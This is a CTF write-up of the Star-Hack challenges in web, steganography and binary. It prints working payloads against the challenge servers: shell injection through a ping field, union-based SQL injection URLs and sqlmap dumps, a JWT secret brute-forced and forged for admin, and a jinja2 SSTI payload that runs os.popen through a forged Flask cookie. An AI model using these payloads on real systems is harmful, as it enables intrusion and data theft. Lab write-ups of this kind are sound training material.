..

Star-Hack

I participated in the Star-Hack, a CTF in France, but let’s not waste more time.

Difficulty : easy Flag format : flag{[a-zA-Z0-9_]+}

Web

The challenges difficulties varied from easy to medium, and could be quite fun.

Crawler

The flag were split in 5 parts, 4 were to be found, and the fifth one was obtainable by providing the concatenation of the first 4 to an API.

The first four parts were obtainable by looking at the following files :

  • /robots.txt
  • /index.html
  • /static/main.css
  • Another place like cookie or console, I don’t remember

Which leaves us with the following concatenation : flag{Crawl_Master_20, the API gives us the final part “25}”.

Flag: flag{Crawl_Master_2025}

Commands

This challenge offers us to ping a target by specifying its IP, the character ‘;’ is prohibited by a filter.

As expected, it uses the ping utility, and a simple shell injection 1.1.1.1 && id enables us to run commands.

Finally, 1.1.1.1 && find . -name '*flag*' provides the file name and 1.1.1.1 && cat ./flag.txt provides the flag

Flag : flag{Command_Injection}

Events

This challenge offers to use an input field to enter a month and retrieve events that happened during this one. This input won’t allow us to enter more than two integers, however it is then used in the url query, and no backend check is performed.

By crafting a basic sql injection, we can retrieve all events with the following URL : http://[REDACTED]/?MONTH=02' or '-01'='. (it filters by date, and happens ‘-01’ at the end of the month to obtain dates like ‘2025-02-01’)

The number of columns retrieved can be found by using a simple union select injection : http://[REDACTED]/?MONTH=02' union select "a", "b", "c" where '-01'=', it has 3 columns.

This enables us to get the list of tables, by trying different payloads, we guess it’s sqlite :

http://[REDACTED]/?MONTH=02' union select "a", tbl_name, "c" from sqlite_master WHERE type='table' AND tbl_name NOT LIKE 'sqlite_%' AND '-01'='

There are 3 tables : ’events’, ‘flag’ and ‘users’.

We finally get the flag with the following request : http://[REDACTED]/?MONTH=02' union select "a", * from flag WHERE '-01'='

Flag: flag{sqlite_union_based_injection_success}

Store

It was a website with a search input, by trying the exact same basic SQLi as in the previous challenge, we find the query is vulnerable.

As I couldn’t bear a second SQLi, and that sqlmap was obviously going to dump it easily, I went for it :

sqlmap -u 'http://[REDACTED]/search/?q=1' -p q --technique "BEUT" --tables

This extract the table name ‘store_secret’, which is dumped with :

sqlmap -u 'http://13.38.0.91:8087/search/?q=1' -p q --dump store_secret

flag: I didn’t keep this one

Broken control

We are offered to log in to the website with ‘guest:guestpass’. Once logged in, we get the following JWT to store the session :

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiaXNfYWRtaW4iOmZhbHNlfQ.370cELTDPe4_w3x6FU4kgf2kBhjtTKfkNGfYVrchv4Q

Using jwt_tool.py, we can get its body : {"username": "guest", "id_admin": False}. After testing differents common vulnerability like setting the ‘alg’ header to ’none’, I ended up trying to bruteforce it. Turns out that it worked with the rockyou.txt wordlist :

jwt_tool.py -C -d rockyou.txt eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiaXNfYWRtaW4iOmZhbHNlfQ.370cELTDPe4_w3x6FU4kgf2kBhjtTKfkNGfYVrchv4Q

The secret is ’letmein’, the JWT can then be tampered to gain admin privileged with the following command :

jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiaXNfYWRtaW4iOmZhbHNlfQ.370cELTDPe4_w3x6FU4kf2kBhjtTKfkNGfYVrchv4Q -T -S hs256 -p "letmein"

This leads to the flag I didn’t keep.

Obfuscate

This challenge was interesting, it starts with a very basic SQLi authentication bypass, we are then offered to change our username.

It’s possible to use the username to perform XSS, however it is a dead end. The real goal here is to exploit a SSTI. By using the payloadAllTheThings’ decision tree, it is possible to find that the backend uses jinja2 templates.

However, many inputs are blocked, like those including __imports__ or os. I tried some bypasses, however it was not convincing, and __builtins__.__dict__ was not accessible for some reason. But by looking around, I found out that we could retrieve the global variables by using an SSTI, more precisely the variable SECRET_KEY="supersecretforctf".

The username is stored in a flask token, the filter preventing executing shell commands in SSTI is only used when trying to change the username, not when it using the username with a signed flask token.

By forging a new token with Flask-Unsign as following, it is possible to run shell commands on the server !

flask-unsign --sign --cookie "{'username': '{{ self.__init__.__globals__.__builtins__.__import__(\'os\').popen(\'find . -name *flag*\').read() }}'}" --secret 'supersecretforctf'

The flag location is /flag123aatt.txt, by using the same process, we print it using cat.

Flag : flag{sql_injection_then_ssti_priv_escalation}

IDOR

Dev_dev

Steganography

I think steganography is a double-edged sword, either the challenges are interesting and fun, either it is yet another steghide bruteforce challenge. Unfortunately, this CTF is more on the second side.

Dive deeper

Image :

parrot.jpg

Well the following command unfortunatly retrieves the flag :

strings parrot.jpg | grep flag{

Flag : flag{binwalk_unpacked_me}

Investigate

Image :

forest.jpg

Same for this one, but with exiftool

exiftool forest.jpg | grep flag{

Flag : flag{metadata_magic}

Explore the image 1

Image :

tiger.jpg

After messing around with this one, the only thing left is steghide, and there is a password…

At least, stegseek finds it quickly with the following command :

stegseek tiger.jpg rockyou.txt

Flag : flag{hidden_in_plain_sight}

Explore the image 2

Image :

sunset.jpg

Because once isn’t enough, here’s exactly the same challenge :

stegseek sunset.jpg rockyou.txt

Flag : flag{stegseek_cracked_it}

Binary

The category name is surprising, it’s kind of a mix of reverse and pwn.

Native guardian

Source : app-release.apk

This challenge ses a shared library in native code, which contains the flag in cleartext. It is possible to extract the APK with apktool, however, a simple strings and grep on the apk will extract the flag :

strings app-release.apk | grep -B 1 flag

It returns

3v3rs3d}
flag{jn1_4rm64_rInvalid key

Flag : flag{jn1_4rm64_r3v3rs3d}

Simple

Source : simple

This is a binary that needs to be reversed, I’m not sure to understand everything it does, but it doesn’t matter to find the flag.

The flag isn’t in the binary but in a file on a remote server. In a tcp connection, it’s possible to send a string and test it against the flag.

The test will iterate through the strings and stop at the end of input or at the end of the flag. When sending a wrong input, the index of the first match is returned. This way, by sending 'X' * 23, we get 22, which means no ‘X’ is in the flag, and the flag is 22 chars long.

Knowing that, I wrote the following script to find the first occurence of all chars :

#!/bin/sh
from pwn import *

chars = list("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-")

context.log_level = 'error'  # Suppress noise

host = "[REDACTED]"
port =  1027

for c in chars:
    conn = remote(host, port)

    conn.recv()
    conn.sendline((c * 22).encode())

    res = conn.recv()
    if "22" not in res.decode():  # If char is in the flag
        print(c, res)

    conn.close()

This leaves us with the following :

a b'Result length: 2\n'
e b'Result length: 20\n'
f b'Result length: 0\n'
g b'Result length: 3\n'
i b'Result length: 8\n'
l b'Result length: 1\n'
m b'Result length: 17\n'
n b'Result length: 9\n'
p b'Result length: 18\n'
r b'Result length: 7\n'
s b'Result length: 13\n'
x b'Result length: 5\n'
0 b'Result length: 6\n'
_ b'Result length: 11\n'

Knowing the flag format, we have that : flag{x0 in _ s mp e}

Finally, we guess the flag being flag{x0ring_is_simple}

I’m glad you reached the footer and hope you like what you read. If you think somehting is wrong, feel free to open an issue.